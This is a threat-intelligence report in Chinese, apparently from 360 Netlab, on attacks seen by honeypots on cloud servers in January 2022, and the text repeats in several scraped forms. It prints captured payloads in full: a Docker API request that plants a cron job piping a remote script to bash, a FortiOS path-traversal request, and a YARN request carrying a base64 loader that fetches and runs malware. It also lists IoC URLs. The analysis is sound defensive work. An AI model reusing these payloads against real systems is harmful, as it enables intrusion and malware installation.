"am-container-spec": { "commands": { "command": "echo Yz1odHRwOi8vMTk0LjE0NS4yMjcuMjEvbGRyLnNoP2Y5ZWRhYQpleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmZvciBpIGluICQocHMgLWVmIHwgZ3JlcCBhdGxhc3NpYW4gfCBhd2sgJ3twcmludCAkMn0nKTsgZG8KICBpZiBscyAtYWwgL3Byb2MvJGkgfCBncmVwIGV4ZSB8IGdyZXAgIi91c3IvYmluL3BlcmxcfC9kZXYvc2htIjsgdGhlbgogICAga2lsbCAtOSAkaQogIGZpCmRvbmUKCnBraWxsIC05IHJ1bXBvc3RncmVzd2sKcGtpbGwgLTkgLWYgJ1wuL1wuJwpwa2lsbCAtOSAtZiAnL3RtcC9cLicKcGtpbGwgLTkgLWYga2VybmVseApwa2lsbCAtOSAtZiBwb3N0Z3Jlcy1zeXN0ZW0KCnBraWxsIC05IC1mIHBvc3RncmVzLWtlcm5lbAoKaWYgWyAhIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIC1hICEgLXggIiQoY29tbWFuZCAtdiB3Z2V0KSIgXTsgdGhlbgogIGNkIC90bXAgfHwgY2QgL3Zhci90bXAKICBjaGF0dHIgLWkgZDsgY2hhdHRyIC1pIGRscjsgcm0gLXJmIGQgZGxyCiAgZWNobyBmMFZNUmdFQkFRQUFBQUFBQUFBQUFBSUFBd0FCQUFBQUpJTUVDRFFBQUFETUF3QUFBQUFBQURRQUlBQURBQ2dBQlFBRUFBRUFBQUFBQUFBQUFJQUVDQUNBQkFpckF3QUFxd01BQUFVQUFBQUFFQUFBQVFBQUFLd0RBQUNza3dRSXJKTUVDQUFBQUFBRUFBQUFCZ0FBQUFBUUFBQlI1WFJrQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBR0FBQUFCQUFBQUZXSjVRKzJWUWdQdGtVTUQ3Wk5FTUhpR01IZ0VBbkNEN1pGRk1IaENGMEp3Z25SaWNxSnlJSGlBUDhBQU1IaUNNSGdHQW5RaWNxQjRRQUEvd0RCNmhqQjZRZ0p5Z25RdzFXSjVZUHNFUDkxQ0dvQjZFUUNBQUNEeEJESncxV0o1WVBzRVA5MUNHb0c2QzhDQUFESncxV0o1WVBzQ1A5MUVQOTFEUDkxQ0dvRjZCY0NBQURKdzFXSjVZUHNISXRGQ0lsRjlJdEZESWxGK0l0RkVJbEYvSTFGOUZCcUEycG02UEFCQUFESncxV0o1WVBzQ1A5MUVQOTFEUDkxQ0dvRTZOZ0JBQURKdzFXSjVZUHNDUDkxRVA5MURQOTFDR29ENk1BQkFBREp3MVdKNVlQc0hJdEZDSWxGOUl0RkRJbEYrSXRGRUlsRi9JMUY5RkJxQVdwbTZKa0JBQURKdzFXNGZZTUVDSW5sVjFaVGdleXNBQUFBNndGQWdEZ0FkZm90ZllNRUNJbUZVUC8vLzFCcUFtaURnd1FJYWdIb2R2Ly8vMm9WYU9NQUFBQm9rUUFBQUdqQ0FBQUFac2RGNEFJQVpzZEY0Z0JRNktiKy8vK0R4QnhvL3dFQUFHaEJBZ0FBYUlhREJBaUpSZVRvKy83Ly80UEVER29BYWdGcUFvbkg2RnIvLy8rRHhCQ0QrUCtKeG5RRmcvLy9kUTJEN0F4cUFlaXIvdi8vZzhRUVVHb1FqVVhnVUZibzJ2Ny8vNFBFRUlYQWljTjVIRkQzMjJvQmFJcURCQWhxQWVqbi92Ly9pUndrNkhuKy8vK0R4QkNMblZELy8vOVFnOE1YVTJpTWd3UUlWdWpHL3YvL2c4UVFPZGgwRFlQc0RHb0Q2RS8rLy8rRHhCQXgyMUJxQVkxRjgxQlc2THYrLy8rRHhCQklkQTJEN0F4cUJPZ3Qvdi8vZzhRUUQ3NUY4OEhqQ0FuRGdmc0tEUW9OZGM5UmFJQUFBQUNObldELy8vOVRWdWlFL3YvL2c4UVFoY0IrRGxKUVUxZm9YUDcvLzRQRUVPdllnK3dNVnVqOS9mLy9pVHdrNlBYOS8vK0R4QXhxQVdpcGd3UUlhZ0hvTmY3Ly84Y0VKQVVBQUFEb3cvMy8vNFBFRUkxbDlGdGVYMTNEVllubFhlbHMvdi8va0pDUVZWZFdVNHRzSkN5TGZDUW9pM1FrSkl0VUpDQ0xUQ1FjaTF3a0dJdEVKQlROZ0Z0ZVgxMDlBZkQvL3crREFRQUFBTU9EN0F5Snd2ZmE2QWtBQUFDSkVJUEkvNFBFRE1PNHJKTUVDTU5oYldRMk5BQWpDZ0JrYkhJQVB3QkhSVlFnTDJOMWNtd3RZVzFrTmpRZ1NGUlVVQzh4TGpBTkNnMEtBQ01BQUFBdWMyaHpkSEowWVdJQUxuUmxlSFFBTG5KdlpHRjBZUUF1WW5OekFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFzQUFBQUJBQUFBQmdBQUFKU0FCQWlVQUFBQTZRSUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQVJBQUFBQVFBQUFESUFBQUI5Z3dRSWZRTUFBQzRBQUFBQUFBQUFBQUFBQUFFQUFBQUJBQUFBR1FBQUFBZ0FBQUFEQUFBQXJKTUVDS3dEQUFBRUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFBRUFBQUFEQUFBQUFBQUFBQUFBQUFDc0F3QUFIZ0FBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUE9fGJhc2U2NCAtZCA+IGQKICBjaG1vZCAreCBkOyAuL2R8fC4vZDsgcm0gLWYgZDsgY2htb2QgK3ggZGxyCmZpCgooY3VybCAkYyB8fCBjdXJsICRjIHx8IHdnZXQgLXEgLU8tICRjIHx8IGN1cmwgLWsgJGMgfHwgY3VybCAtayAkYyB8fCB3Z2V0IC0tbm8tY2hlY2stY2VydGlmaWNhdGUgLXEgLU8tICRjIHx8IC4vZGxyICRjIHx8IC4vZGxyICRjKXxzaAo=|base64 -d|sh" } },
"application-type": "YARN"
}
</code></pre>
<h2 id="41">4. 1月云服务器发起攻击总体情况</h2>
<p>2022年1月，360网络安全研究院 Anglerfish蜜罐系统共监测到67373个全球主流云服务器发送的网络会话1.57亿次，较12月有所上升。其中有漏洞扫描和攻击行为的IP 19356个，暴力破解行为的IP 11358个，传播恶意软件的IP 5148个。腾讯云、DigitalCloud、阿里云、亚马逊AWS和微软Azure是源IP数量前5名的云服务提供商。DigitalOcean的IP由于暴力破解多，所以总会话数量最多。</p>
<p><a href="__GHOST_URL__/content/images/2022/02/image-20220215103118486.png"><img src="__GHOST_URL__/content/images/2022/02/image-20220215103118486.png" class="kg-image"/></a></p>
<p>发起漏洞攻击的IP数量如上图所示，Redis漏洞仍然是云服务器相关攻击中最多被使用的漏洞。1月份Docker Remote API未授权访问漏洞的攻击源IP数量明显增加，排在第三位。</p>
<p><a href="__GHOST_URL__/content/images/2022/02/image-20220215105954323.png"><img src="__GHOST_URL__/content/images/2022/02/image-20220215105954323.png" class="kg-image"/></a></p>
<p>恶意软件传播情况如图所示，阿里云、腾讯云和DigitalOcean传播恶意软件的源IP最多。</p>
<p><a href="__GHOST_URL__/content/images/2022/02/image-20220215172608250.png"><img src="__GHOST_URL__/content/images/2022/02/image-20220215172608250.png" class="kg-image"/></a></p>
<p>恶意挖矿类恶意软件仍然是云服务器传播最多的恶意软件类型。</p>
<p><a href="__GHOST_URL__/content/images/2022/02/image-20220215185703567.png"><img src="__GHOST_URL__/content/images/2022/02/image-20220215185703567.png" class="kg-image"/></a></p>
<p>以下的下载服务器域名或IP被多于100个云服务器攻击源IP使用。</p>
<p><a href="__GHOST_URL__/content/images/2022/02/image-20220217151446513.png"><img src="__GHOST_URL__/content/images/2022/02/image-20220217151446513.png" class="kg-image"/></a></p>
<p>在传播垃圾和钓鱼邮件方面，有一个位于荷兰的LeaseWeb的服务器213.227.155.122发送了182封垃圾邮件，全部为以下内容：</p>
<pre><code>Dear Sir/Ma,
How are you doing today,I hope you are in good health. I have intended to lay down your name as the beneficiary of an overdue inheritance fund here in a china bank where I work as a banker. Also I want to invest part of this fund in your country under your supervision. Kindly get back to me for further details on the project of mutual benefit.
Yours Sincerely,
Fund Allocation Officer.
Ecitic Bank of China.
</code></pre>
<p>在密码爆破攻击方面，被爆破攻击的协议主要集中在SSH、Telnet、FTP、PostgreSQL，此外HTTP协议的一些服务，例如亿联Servlet、phpMyAdmin等也有一些爆破攻击。</p>
<p><a href="__GHOST_URL__/content/images/2022/02/image-20220215141932642.png"><img src="__GHOST_URL__/content/images/2022/02/image-20220215141932642.png" class="kg-image"/></a></p>
<p>DigitalOcean的爆破攻击IP数量和会话数量都位居首位，随后是腾讯云、阿里云和亚马逊AWS。</p>
<p><a href="__GHOST_URL__/content/images/2022/02/image-20220215142435758.png"><img src="__GHOST_URL__/content/images/2022/02/image-20220215142435758.png" class="kg-image"/></a></p>
<h2 id="5">5. 防护建议</h2>
<p>本月Docker Remote API未授权访问漏洞的攻击数量有明显增加，建议云上的Docker用户做好以下防护措施：<br>
1）除非业务必要，在公网上关闭TCP/2375、TCP/2376端口。<br>
2）对TCP/2375、TCP/2376端口设置严格的访问规则，并要求使用TLS加密。<br>
3）升级至最新的Docker版本<br>
4）在云安全产品中接入准确率高的威胁情报。</p>
<h2 id="6">6. 联系我们</h2>
<p>感兴趣的读者，可以通过邮箱netlab[at]360.cn联系我们。</p>
<h2 id="7ioclist">7. IoC List</h2>
<p>URL：</p>
<pre><code>http://oracle.zzhreceive.top/b2f628/cronb.sh
http://oracle.zzhreceive.top/b2f628fff19fda999999999/cronis.sh
http://58.226.35.74/tmate
http://58.226.35.74/midd.jpg
http://194.38.20.242/d.sh
http://194.38.20.242/kinsing
http://oracle.zzhreceive.top/b2f628fff19fda999999999/dk.sh
http://oracle.zzhreceive.top/b2f628/dkb.sh
http://oracle.zzhreceive.top/b/apa.jpg
</code></pre>
<p>md5:</p>
<pre><code>fcdfd7cc3ba35aec23dd39038b161f41
f1c1406a1713f3213276aee6f2f4d0ee
84a5ad559fb6214ed41ab6d5148e6fa2
10ac30ebbed68584400f8ccd814e2a60
1499f91b33a02f33a82c7fd756f445f7
a06f97d208b2dce7f5373538d840fe4f
429df5b7a8c2e3852dddf73df2bcdd3a
896218a845b85c6e6c7260f3ded1c7d5
0d8d3a2e0dcd7031b67707e446799d61
8f90ab85461c0e37b687e7365dc095f5
</code></pre>
<!--kg-card-end: markdown--> | 1. 概述
2022年的第一个月份，虽然没有爆发新的热门漏洞，且随着越来越多设备的Apache Log4j2漏洞被修复，12月开始的Apache Log4j2漏洞爆发也进入尾声，相关攻击源数量明显减少。但是，Docker Remote API未授权访问漏洞、美国飞塔（Fortinet）FortiOS未授权任意文件读取漏洞等旧漏洞的云服务器攻击源IP数量突然较12月大幅度增加。在第2部分，我们分析了这两个漏洞的攻击趋势和攻击方法。政府和企事业单位的云上资产方面，1月份共发现26个云上资产对外扫描攻击，其中某航天研究单位、某县级人民医院（都架设在阿里云上）等单位使用的云服务器IP在公网上发起攻击，值得关注。本文主要通过360网络安全研究院 Anglerfish蜜罐视角，分析云上热门漏洞攻击细节，以及云上重要资产在公网上发起攻击的情况。
2. 云上热门漏洞攻击威胁
本月没有爆发的新漏洞攻击，但值得注意的是，本月有一些旧漏洞的攻击源IP数量较12月出现了大幅增加。增长最多的是Docker Remote API未授权访问漏洞和美国飞塔（Fortinet）FortiOS未授权任意文件读取漏洞。而在12月爆发的Apache Log4j2漏洞的云服务器由于越来越多设备的漏洞被修复，攻击源IP数量大幅回落。
2.1 Docker Remote API未授权访问漏洞
在Docker中，可通过命令行和Remote API进行交互。Docker Remote API默认监听端口2735/2736。正确配置时，Remote API仅可通过localhost访问。通过Docker Remote API可自动化部署、控制容器。然而，当Docker错误配置，Remote API暴露在公网时，可被攻击者恶意利用导致RCE。
攻击者通过暴露的Remote API启动一个容器，执行docker run —privileged，即可将宿主机目录挂载到容器，实现任意读写宿主机文件，通过将命令写入crontab配置文件进行反弹shell。
Docker Remote API未授权访问攻击主要针对目标机器的TCP/2375和TCP/2376端口。
传播的恶意软件主要是恶意挖矿类（CoinMiner）和Rootkit类恶意软件。
主要的攻击URI及所占百分比如下：
/v1.24/containers/create (50%)
/_ping (29%)
/v1.24/containers/json (13%)
/v1.37/containers/create (3%)
攻击Payload示例：
POST /v1.24/containers/create HTTP/1.1
Host: {target}
User-Agent: Go-http-client/1.1
Content-Length: 1787
Content-Type: application/json
Accept-Encoding: gzip
{"Hostname":"","Domainname":"","User":"","AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":[],"Cmd":["chroot","/mnt/","/bin/sh","-c","if ! type curl \u003e/dev/null;then apt-get install -y curl;apt-get install -y --reinstall curl;yum clean all;yum install -y curl;yum reinstall -y curl;fi;echo \"* * * * * root curl http://107.189.3.150/b2f628/cronb.sh|bash\"\u003e/etc/crontab \u0026\u0026 echo \"* * * * * root curl http://107.189.3.150/b2f628/cronb.sh|bash\"\u003e/etc/cron.d/zzh"],"Image":"alpine","Volumes":{},"WorkingDir":"","Entrypoint":null,"OnBuild":null,"Labels":{},"HostConfig":{"Binds":["/:/mnt"],"ContainerIDFile":"","LogConfig":{"Type":"","Config":{}},"NetworkMode":"default","PortBindings":{},"RestartPolicy":{"Name":"no","MaximumRetryCount":0},"AutoRemove":true,"VolumeDriver":"","VolumesFrom":null,"CapAdd":null,"CapDrop":null,"Dns":[],"DnsOptions":[],"DnsSearch":[],"ExtraHosts":null,"GroupAdd":null,"IpcMode":"","Cgroup":"","Links":null,"OomScoreAdj":0,"PidMode":"","Privileged":false,"PublishAllPorts":false,"ReadonlyRootfs":false,"SecurityOpt":null,"UTSMode":"","UsernsMode":"","ShmSize":0,"ConsoleSize":[0,0],"Isolation":"","CpuShares":0,"Memory":0,"NanoCpus":0,"CgroupParent":"","BlkioWeight":0,"BlkioWeightDevice":null,"BlkioDeviceReadBps":null,"BlkioDeviceWriteBps":null,"BlkioDeviceReadIOps":null,"BlkioDeviceWriteIOps":null,"CpuPeriod":0,"CpuQuota":0,"CpuRealtimePeriod":0,"CpuRealtimeRuntime":0,"CpusetCpus":"","CpusetMems":"","Devices":[],"DiskQuota":0,"KernelMemory":0,"MemoryReservation":0,"MemorySwap":0,"MemorySwappiness":-1,"OomKillDisable":false,"PidsLimit":0,"Ulimits":null,"CpuCount":0,"CpuPercent":0,"IOMaximumIOps":0,"IOMaximumBandwidth":0},"NetworkingConfig":{"EndpointsConfig":{}}}
攻击源IP集中在腾讯云和阿里云，这两个云服务商占所有云服务器攻击源的约87%。
2.2 美国飞塔（Fortinet）FortiOS未授权任意文件读取漏洞（CVE-2018-13379）
在设备登录界面，请求相应语言文件时，服务器端通过提供的lang参数构建JSON语言文件路径：snprintf(s, 0x40, "/migadmin/lang/%s.json", lang)。没有对lang参数进行特殊字符过滤，通过添加文件扩展名.json，控制读取JSON文件。但snprintf函数最多将size-1的字符串写到目标缓冲区。因此当lang参数拼接后长度超过size-1时，.json将被strip掉，最终导致可读取任意文件。
/data/config/sys_global.conf.gz
/data/config/sys_vd_root.conf.gz
/data/config/global_system_interface.gz
/data/config/vd_root_firewall_policy.gz
/data/config/sys_vd_root%2broot.conf.gz
/dev/cmdb/sslvpn_websession
该漏洞的攻击数据包的目的端口较为分散，TCP/8443、TCP/9443和TCP/4443的攻击数据包相对较多。
漏洞主要的攻击URI及所占百分比如下：
/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession (62%)
///remote/fgt_lang?lang=/../../../..//////////dev/ (38%)
漏洞攻击Payload：
GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.1
Accept-Encoding: identity
Host: {target}
User-Agent: Python-urllib/3.9
Connection: close
这个漏洞的云服务器攻击源IP有超过90%都来源于亚马逊AWS，同样非常集中。
3. 云上资产对外发起扫描攻击情况
2022年1月，共发现26个对外发起扫描攻击的国内重要政府和企事业单位的云上资产，其中事业单位和政府机关占90%，云服务商主要为阿里云。以下介绍来自其中两个单位的情况。如果需要更多相关资料，请根据文末的联系方式与我们联系。
一个IP属于阿里云的39.96.91.*，IP地理位置位于北京，属于航天系统与导航相关的某个重要研究单位，在1月17号对蜜罐系统发起了SSH暴力破解：
SSH-2.0-libssh_0.9.6
knockknockwhosthere
knockknockwhosthere
直接用浏览器访问IP地址可以进入单位主页：
另一个是阿里云47.108.242.*，IP地址位于四川成都，属于某县级人民医院。直接用浏览器访问这个IP地址，可以进入该医院的核酸检测结果查询系统。
这个IP利用了Hadoop YARN ResourceManager未授权访问漏洞、Laravel Debug模式RCE漏洞（CVE-2021-3129）和ThinkPHP RCE漏洞。传播了Linux系统的木马下载器（TrojanDownloader）类恶意软件，恶意软件下载URL为：
http://194.145.227.21/ldr.sh
Hadoop YARN ResourceManager未授权访问漏洞的Payload：
POST /ws/v1/cluster/apps HTTP/1.1
Host: {target}:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Content-Length: 3302
Accept: */*
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: application/json
Accept-Encoding: gzip
{
"application-id": "application_1526990652950_72948",
"application-name": "eqtrl5an",
"am-container-spec": { "commands": { "command": "echo Yz1odHRwOi8vMTk0LjE0NS4yMjcuMjEvbGRyLnNoP2Y5ZWRhYQpleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmZvciBpIGluICQocHMgLWVmIHwgZ3JlcCBhdGxhc3NpYW4gfCBhd2sgJ3twcmludCAkMn0nKTsgZG8KICBpZiBscyAtYWwgL3Byb2MvJGkgfCBncmVwIGV4ZSB8IGdyZXAgIi91c3IvYmluL3BlcmxcfC9kZXYvc2htIjsgdGhlbgogICAga2lsbCAtOSAkaQogIGZpCmRvbmUKCnBraWxsIC05IHJ1bXBvc3RncmVzd2sKcGtpbGwgLTkgLWYgJ1wuL1wuJwpwa2lsbCAtOSAtZiAnL3RtcC9cLicKcGtpbGwgLTkgLWYga2VybmVseApwa2lsbCAtOSAtZiBwb3N0Z3Jlcy1zeXN0ZW0KCnBraWxsIC05IC1mIHBvc3RncmVzLWtlcm5lbAoKaWYgWyAhIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIC1hICEgLXggIiQoY29tbWFuZCAtdiB3Z2V0KSIgXTsgdGhlbgogIGNkIC90bXAgfHwgY2QgL3Zhci90bXAKICBjaGF0dHIgLWkgZDsgY2hhdHRyIC1pIGRscjsgcm0gLXJmIGQgZGxyCiAgZWNobyBmMFZNUmdFQkFRQUFBQUFBQUFBQUFBSUFBd0FCQUFBQUpJTUVDRFFBQUFETUF3QUFBQUFBQURRQUlBQURBQ2dBQlFBRUFBRUFBQUFBQUFBQUFJQUVDQUNBQkFpckF3QUFxd01BQUFVQUFBQUFFQUFBQVFBQUFLd0RBQUNza3dRSXJKTUVDQUFBQUFBRUFBQUFCZ0FBQUFBUUFBQlI1WFJrQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBR0FBQUFCQUFBQUZXSjVRKzJWUWdQdGtVTUQ3Wk5FTUhpR01IZ0VBbkNEN1pGRk1IaENGMEp3Z25SaWNxSnlJSGlBUDhBQU1IaUNNSGdHQW5RaWNxQjRRQUEvd0RCNmhqQjZRZ0p5Z25RdzFXSjVZUHNFUDkxQ0dvQjZFUUNBQUNEeEJESncxV0o1WVBzRVA5MUNHb0c2QzhDQUFESncxV0o1WVBzQ1A5MUVQOTFEUDkxQ0dvRjZCY0NBQURKdzFXSjVZUHNISXRGQ0lsRjlJdEZESWxGK0l0RkVJbEYvSTFGOUZCcUEycG02UEFCQUFESncxV0o1WVBzQ1A5MUVQOTFEUDkxQ0dvRTZOZ0JBQURKdzFXSjVZUHNDUDkxRVA5MURQOTFDR29ENk1BQkFBREp3MVdKNVlQc0hJdEZDSWxGOUl0RkRJbEYrSXRGRUlsRi9JMUY5RkJxQVdwbTZKa0JBQURKdzFXNGZZTUVDSW5sVjFaVGdleXNBQUFBNndGQWdEZ0FkZm90ZllNRUNJbUZVUC8vLzFCcUFtaURnd1FJYWdIb2R2Ly8vMm9WYU9NQUFBQm9rUUFBQUdqQ0FBQUFac2RGNEFJQVpzZEY0Z0JRNktiKy8vK0R4QnhvL3dFQUFHaEJBZ0FBYUlhREJBaUpSZVRvKy83Ly80UEVER29BYWdGcUFvbkg2RnIvLy8rRHhCQ0QrUCtKeG5RRmcvLy9kUTJEN0F4cUFlaXIvdi8vZzhRUVVHb1FqVVhnVUZibzJ2Ny8vNFBFRUlYQWljTjVIRkQzMjJvQmFJcURCQWhxQWVqbi92Ly9pUndrNkhuKy8vK0R4QkNMblZELy8vOVFnOE1YVTJpTWd3UUlWdWpHL3YvL2c4UVFPZGgwRFlQc0RHb0Q2RS8rLy8rRHhCQXgyMUJxQVkxRjgxQlc2THYrLy8rRHhCQklkQTJEN0F4cUJPZ3Qvdi8vZzhRUUQ3NUY4OEhqQ0FuRGdmc0tEUW9OZGM5UmFJQUFBQUNObldELy8vOVRWdWlFL3YvL2c4UVFoY0IrRGxKUVUxZm9YUDcvLzRQRUVPdllnK3dNVnVqOS9mLy9pVHdrNlBYOS8vK0R4QXhxQVdpcGd3UUlhZ0hvTmY3Ly84Y0VKQVVBQUFEb3cvMy8vNFBFRUkxbDlGdGVYMTNEVllubFhlbHMvdi8va0pDUVZWZFdVNHRzSkN5TGZDUW9pM1FrSkl0VUpDQ0xUQ1FjaTF3a0dJdEVKQlROZ0Z0ZVgxMDlBZkQvL3crREFRQUFBTU9EN0F5Snd2ZmE2QWtBQUFDSkVJUEkvNFBFRE1PNHJKTUVDTU5oYldRMk5BQWpDZ0JrYkhJQVB3QkhSVlFnTDJOMWNtd3RZVzFrTmpRZ1NGUlVVQzh4TGpBTkNnMEtBQ01BQUFBdWMyaHpkSEowWVdJQUxuUmxlSFFBTG5KdlpHRjBZUUF1WW5OekFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFzQUFBQUJBQUFBQmdBQUFKU0FCQWlVQUFBQTZRSUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQVJBQUFBQVFBQUFESUFBQUI5Z3dRSWZRTUFBQzRBQUFBQUFBQUFBQUFBQUFFQUFBQUJBQUFBR1FBQUFBZ0FBQUFEQUFBQXJKTUVDS3dEQUFBRUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFBRUFBQUFEQUFBQUFBQUFBQUFBQUFDc0F3QUFIZ0FBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUE9fGJhc2U2NCAtZCA+IGQKICBjaG1vZCAreCBkOyAuL2R8fC4vZDsgcm0gLWYgZDsgY2htb2QgK3ggZGxyCmZpCgooY3VybCAkYyB8fCBjdXJsICRjIHx8IHdnZXQgLXEgLU8tICRjIHx8IGN1cmwgLWsgJGMgfHwgY3VybCAtayAkYyB8fCB3Z2V0IC0tbm8tY2hlY2stY2VydGlmaWNhdGUgLXEgLU8tICRjIHx8IC4vZGxyICRjIHx8IC4vZGxyICRjKXxzaAo=|base64 -d|sh" } },
"application-type": "YARN"
}
4. 1月云服务器发起攻击总体情况
2022年1月，360网络安全研究院 Anglerfish蜜罐系统共监测到67373个全球主流云服务器发送的网络会话1.57亿次，较12月有所上升。其中有漏洞扫描和攻击行为的IP 19356个，暴力破解行为的IP 11358个，传播恶意软件的IP 5148个。腾讯云、DigitalCloud、阿里云、亚马逊AWS和微软Azure是源IP数量前5名的云服务提供商。DigitalOcean的IP由于暴力破解多，所以总会话数量最多。
发起漏洞攻击的IP数量如上图所示，Redis漏洞仍然是云服务器相关攻击中最多被使用的漏洞。1月份Docker Remote API未授权访问漏洞的攻击源IP数量明显增加，排在第三位。
恶意软件传播情况如图所示，阿里云、腾讯云和DigitalOcean传播恶意软件的源IP最多。
恶意挖矿类恶意软件仍然是云服务器传播最多的恶意软件类型。
以下的下载服务器域名或IP被多于100个云服务器攻击源IP使用。
在传播垃圾和钓鱼邮件方面，有一个位于荷兰的LeaseWeb的服务器213.227.155.122发送了182封垃圾邮件，全部为以下内容：
Dear Sir/Ma,
How are you doing today,I hope you are in good health. I have intended to lay down your name as the beneficiary of an overdue inheritance fund here in a china bank where I work as a banker. Also I want to invest part of this fund in your country under your supervision. Kindly get back to me for further details on the project of mutual benefit.
Yours Sincerely,
Fund Allocation Officer.
Ecitic Bank of China.
在密码爆破攻击方面，被爆破攻击的协议主要集中在SSH、Telnet、FTP、PostgreSQL，此外HTTP协议的一些服务，例如亿联Servlet、phpMyAdmin等也有一些爆破攻击。
DigitalOcean的爆破攻击IP数量和会话数量都位居首位，随后是腾讯云、阿里云和亚马逊AWS。
5. 防护建议
本月Docker Remote API未授权访问漏洞的攻击数量有明显增加，建议云上的Docker用户做好以下防护措施：
1）除非业务必要，在公网上关闭TCP/2375、TCP/2376端口。
2）对TCP/2375、TCP/2376端口设置严格的访问规则，并要求使用TLS加密。
3）升级至最新的Docker版本
4）在云安全产品中接入准确率高的威胁情报。
6. 联系我们
感兴趣的读者，可以通过邮箱netlab[at]360.cn联系我们。
7. IoC List
URL：
http://oracle.zzhreceive.top/b2f628/cronb.sh
http://oracle.zzhreceive.top/b2f628fff19fda999999999/cronis.sh
http://58.226.35.74/tmate
http://58.226.35.74/midd.jpg
http://194.38.20.242/d.sh
http://194.38.20.242/kinsing
http://oracle.zzhreceive.top/b2f628fff19fda999999999/dk.sh
http://oracle.zzhreceive.top/b2f628/dkb.sh
http://oracle.zzhreceive.top/b/apa.jpg
md5:
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f1c1406a1713f3213276aee6f2f4d0ee
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| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 1. 概述\n\n2022年的第一个月份，虽然没有爆发新的热门漏洞，且随着越来越多设备的Apache Log4j2漏洞被修复，12月开始的Apache Log4j2漏洞爆发也进入尾声，相关攻击源数量明显减少。但是，Docker Remote API未授权访问漏洞、美国飞塔（Fortinet）FortiOS未授权任意文件读取漏洞等旧漏洞的云服务器攻击源IP数量突然较12月大幅度增加。在第2部分，我们分析了这两个漏洞的攻击趋势和攻击方法。政府和企事业单位的云上资产方面，1月份共发现26个云上资产对外扫描攻击，其中某航天研究单位、某县级人民医院（都架设在阿里云上）等单位使用的云服务器IP在公网上发起攻击，值得关注。本文主要通过360网络安全研究院 Anglerfish蜜罐视角，分析云上热门漏洞攻击细节，以及云上重要资产在公网上发起攻击的情况。\n\n## 2. 云上热门漏洞攻击威胁\n\n本月没有爆发的新漏洞攻击，但值得注意的是，本月有一些旧漏洞的攻击源IP数量较12月出现了大幅增加。增长最多的是Docker Remote API未授权访问漏洞和美国飞塔（Fortinet）FortiOS未授权任意文件读取漏洞。而在12月爆发的Apache Log4j2漏洞的云服务器由于越来越多设备的漏洞被修复，攻击源IP数量大幅回落。\n\n\n### 2.1 Docker Remote API未授权访问漏洞\n\n在Docker中，可通过命令行和Remote API进行交互。Docker Remote API默认监听端口2735/2736。正确配置时，Remote API仅可通过localhost访问。通过Docker Remote API可自动化部署、控制容器。然而，当Docker错误配置，Remote API暴露在公网时，可被攻击者恶意利用导致RCE。\n\n攻击者通过暴露的Remote API启动一个容器，执行docker run —privileged，即可将宿主机目录挂载到容器，实现任意读写宿主机文件，通过将命令写入crontab配置文件进行反弹shell。\n\nDocker Remote API未授权访问攻击主要针对目标机器的TCP/2375和TCP/2376端口。\n\n<a href=\"__GHOST_URL__/content/images/2022/02/image-20220216142747175.png\"><img src=\"__GHOST_URL__/content/images/2022/02/image-20220216142747175.png\" class=\"kg-image\"/></a>\n\n传播的恶意软件主要是恶意挖矿类（CoinMiner）和Rootkit类恶意软件。\n\n<a href=\"__GHOST_URL__/content/images/2022/02/image-20220216143315707.png\"><img src=\"__GHOST_URL__/content/images/2022/02/image-20220216143315707.png\" class=\"kg-image\"/></a>\n\n主要的攻击URI及所占百分比如下：\n\n```\n/v1.24/containers/create (50%)\n/_ping (29%)\n/v1.24/containers/json (13%)\n/v1.37/containers/create (3%)\n```\n\n攻击Payload示例：\n\n```http\nPOST /v1.24/containers/create HTTP/1.1\nHost: {target}\nUser-Agent: Go-http-client/1.1\nContent-Length: 1787\nContent-Type: application/json\nAccept-Encoding: gzip\n\n{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":true,\"AttachStderr\":true,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[],\"Cmd\":[\"chroot\",\"/mnt/\",\"/bin/sh\",\"-c\",\"if ! type curl \\u003e/dev/null;then apt-get install -y curl;apt-get install -y --reinstall curl;yum clean all;yum install -y curl;yum reinstall -y curl;fi;echo \\\"* * * * * root curl http://107.189.3.150/b2f628/cronb.sh|bash\\\"\\u003e/etc/crontab \\u0026\\u0026 echo \\\"* * * * * root curl 